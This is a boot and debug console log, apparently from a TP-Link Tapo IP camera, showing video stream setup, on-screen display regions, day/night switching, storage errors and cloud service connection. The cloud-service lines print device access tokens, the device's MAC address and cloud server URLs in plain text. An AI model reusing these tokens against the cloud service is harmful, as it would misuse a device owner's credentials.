[Media Source]: query form uci, multicast.minor.random = on
[2025-02-13 23:52:37][INFO][cet][cet_ubus_init]-8823: connected as 5a184c6d

[Media Source]: query form uci, multicast.minor.port = 10002
[Media Source]: query form uci, video.minor.resolution = 640*360
vda_ubus_register_event_handler 2016
[Media Source]: query form uci, video.minor.encode_type = H264
[Media Source]: query form uci, network.wan.macaddr = 20:23:51:46:9B:6F
[Media Source]: StartInputThread with id 1586668784, register to bq with id 1
bufq[1]: empty sig list. create one. The first thread id is 1586668784
[Media Source]: Create thread succeed.
[2025-02-13 23:52:37][INFO][cet][main]-1156: Server begin eventloop
[2025-02-13 23:52:37][WARN][cet][output_sound_device_cb]-202: Audio overwrite occur, get buf too slowly
[Media Source]: ExecuteVideoDataInput queue 1 pBqEntity 0x63a29684 pESBuffer 0x63a261f8 iCodec 100
[Media Source]: MediaInfo update, iCodec 100 and iNaluType 7
[Media Source]: MediaInfo update, iCodec 100 and iNaluType 8
1 Update SPS/PPS/VPS media info iCodec 100
[RTSP main] user password changed
tp_osd_sdk_init!
[DEBUG] 1739458358:75188 pCommonContext-&gt;ucIRState  is set to : 0
[2025-02-13 23:52:38] alarm_delivery_update_env:2370 - update ENV:0, 0x773bdc84, 0x773bd984
[2025-02-13 23:52:38] load_cfg_ppd:4436 - people_detection: user don&#39;t set any region! Turn off detection.
tp_osd_sdk_create_region, osd_strm_id is 0
strmid is 0, hHandle is 0, handle is -1, x1, y1, w, h is 0,0,420,32
tp_osd_sdk_create_region, osd_strm_id is 0
strmid is 0, hHandle is 1, handle is -1, x1, y1, w, h is 0,660,144,56
tp_osd_sdk_create_region, osd_strm_id is 1
strmid is 1, hHandle is 10, handle is -1, x1, y1, w, h is 0,0,228,17
tp_osd_sdk_create_region, osd_strm_id is 1
strmid is 1, hHandle is 11, handle is -1, x1, y1, w, h is 0,332,72,28
[2025-02-13 23:52:38][INFO][cet][osd_reconfig]-516: osd reconfig successful
[record_stop]-3804: Record stop time is: 1739458358
         [storage] detection_index_new(1851). mkdir /tmp/mnt/harddisk_1/snapshot/ failed

         [storage] g_index_total_get(1827). detection_index_new error:No such file or directory

         [storage] detection_handle_end(974). arg NULL

-------NOT NOT is_stain_test_needed-----
dn_switch_restart return :0
[2025-02-13 23:52:38][ERROR][cet][dn_switch_mirror_reconfig]-594: first time do not pause encoding

[tp_isp_sdk_set_mirror_mode(1358)] hEnable = 0, vEnable = 0
[2025-02-13 23:52:38] alarm_delivery_update_env:2370 - update ENV:0, 0x773bdc84, 0x773bd984
[2025-02-13 23:52:38] load_cfg_ppd:4436 - people_detection: user don&#39;t set any region! Turn off detection.
[2025-02-13 23:52:38][ERROR][cet][dn_switch_reconfig]-6826: sw_mode = COMMON
[2025-02-13 23:52:38][ERROR][cet][dn_switch_reconfig]-6831: night_vision_mode = COMMON
[2025-02-13 23:52:38][ERROR][cet][dn_switch_reconfig]-6837: ir_mode = AUTO
[2025-02-13 23:52:38][ERROR][cet][dn_switch_reconfig]-6840: dn_switch_AUTO_thread = TRUE
[2025-02-13 23:52:38][ERROR][cet][dn_switch_reconfig]-6842: dn_switch_SCHED_thread = FALSE
[2025-02-13 23:52:38][ERROR][cet][dn_switch_reconfig]-6846: dn_switch_CONSTANT_thread = FALSE
tp_isp_sdk_set_light_freq_mode mode is 2, fps_num is 120, fps_den is 8
[2025-02-13 23:52:38][INFO][cet][dn_switch_ir_reconfig]-6376: set timer for switch reconfig success, wait 45s

[DEBUG] 1739458358:790068 pCommonContext-&gt;ucIRState  is set to : 0
[2025-02-13 23:52:39][INFO][cloud-service] dev_token_dump(32):  token: Cc2ba74f8c1864268a76f9425c5b6fed
[2025-02-13 23:52:39][INFO][cloud-service] dev_token_dump(33):  server_url: https://n-aps1-device-api.tplinkcloud.com
[2025-02-13 23:52:39][INFO][cloud-service] dev_token_dump(34):  server_port: 443
[2025-02-13 23:52:39][INFO][cloud-service] dev_token_dump(35):  path: /
[2025-02-13 23:52:39][INFO][cloud-service] dev_token_dump(36):  timestamp: 27
[2025-02-13 23:52:39][INFO][cloud-service] dev_token_dump(37):  duration: 86400
[2025-02-13 23:52:39][INFO][cloud-service] dev_token_dump(38):  valid: 1


========================
@@@@@ IMP_ISP_Tuning_GetFliker_Detect(ret=0) env=[1],value=[0] @@@@@cnt(1)

========================
@@@@@ IMP_ISP_Tuning_GetFliker_Detect(ret=0) env=[1],value=[0] @@@@@cnt(2)

========================
@@@@@ IMP_ISP_Tuning_GetFliker_Detect(ret=0) env=[1],value=[0] @@@@@cnt(3)

========================
@@@@@ IMP_ISP_Tuning_GetFliker_Detect(ret=0) env=[1],value=[0] @@@@@cnt(4)

========================
[2025-02-13 23:52:55][ERROR][cloud-service] alarm_service_refresh_state(1057): service init is not ok

[2025-02-13 23:52:55][INFO][cloud-service] alarm_service_refresh_state(1121): tapocare state updated to : 0

---WLAN---get_cloud_status=1
---WLAN---send event connected_cloudok
[2025-02-13 23:52:55][INFO][cloud-service] dev_token_dump(32):  token: Cc361ec835cb5447cbdd02d397a5a5dd
[2025-02-13 23:52:55][INFO][cloud-service] dev_token_dump(33):  server_url: https://aps1-device-tapo-care.i.tplinknbu.com
[2025-02-13 23:52:55][INFO][cloud-service] dev_token_dump(34):  server_port: 443
[2025-02-13 23:52:55][INFO][cloud-service] dev_token_dump(35):  path: /
[2025-02-13 23:52:55][INFO][cloud-service] dev_token_dump(36):  timestamp: 48
[2025-02-13 23:52:55][INFO][cloud-service] dev_token_dump(37):  duration: 84206
[2025-02-13 23:52:55][INFO][cloud-service] dev_token_dump(38):  valid: 1

[2025-02-13 23:52:55][INFO][cloud-service] dev_token_dump(32):  token: Cc361ec835cb5447cbdd02d397a5a5dd
[2025-02-13 23:52:55][INFO][cloud-service] dev_token_dump(33):  server_url: https://aps1-openapi.i.tplinknbu.com
[2025-02-13 23:52:55][INFO][cloud-service] dev_token_dump(34):  server_port: 443
[2025-02-13 23:52:55][INFO][cloud-service] dev_token_dump(35):  path: /
[2025-02-13 23:52:55][INFO][cloud-service] dev_token_dump(36):  timestamp: 48
[2025-02-13 23:52:55][INFO][cloud-service] dev_token_dump(37):  duration: 84206
[2025-02-13 23:52:55][INFO][cloud-service] dev_token_dump(38):  valid: 1

[Debug] [setLedEvent:429] setLedEvent = 6
[Debug] [main:577] gLastLedEvent = 5, gCurrLedEvent = 6
[2025-02-13 23:52:56][INFO][cloud-service] tcp_connect_server(391): resolve hostname successfully

[2025-02-13 23:52:57][INFO][cloud-service] http_send_req_alarm(593): req_type is :1

[2025-02-13 23:52:57][INFO][cloud-service] http_send_req_alarm(804): json_data_len: 165, snapshot_header_len: 0, snapshot_len: 0, snapshot_tail_len: 0, content_len: 165

[2025-02-13 23:52:57][INFO][cloud-service] http_send_req_alarm(875): msg_push send alarm successfully.


[   49.220722] PTZ: auto calibrate on boot{
        &quot;err_code&quot;: 0
}
---WLAN---send event connected_cloudok
[Debug] [setLedEvent:429] setLedEvent = 6
[Debug] [main:577] gLastLedEvent = 6, gCurrLedEvent = 6
[Debug] [main:617] The event is the same, don&#39;t do everything
[2025-02-13 23:53:12][WARN][cloudiot]cloud_iot_config.c:1241(getDevShadowConfig)-- device shadow no update

[2025-02-13 23:53:12][ERROR][cloudiot]cloud_iot_common.c:776(mqtt_shadow_update)-- update Device shadow failed

[2025-02-13 23:53:23][INFO][cet][switch_reconfig_for_nvr_timer_func]-6305:

sw_mode 0 in timer

[2025-02-13 23:53:23][ERROR][cet][dn_switch_csc_reconfig]-711: sec_name = common
[2025-02-13 23:53:23][INFO][cet][dn_switch_reconfig_for_nvr_stop_timer]-6299: success dn_switch_reconfig_for_nvr_stop_timer</code></pre>]]></description>
        </item>
    </channel>
</rss>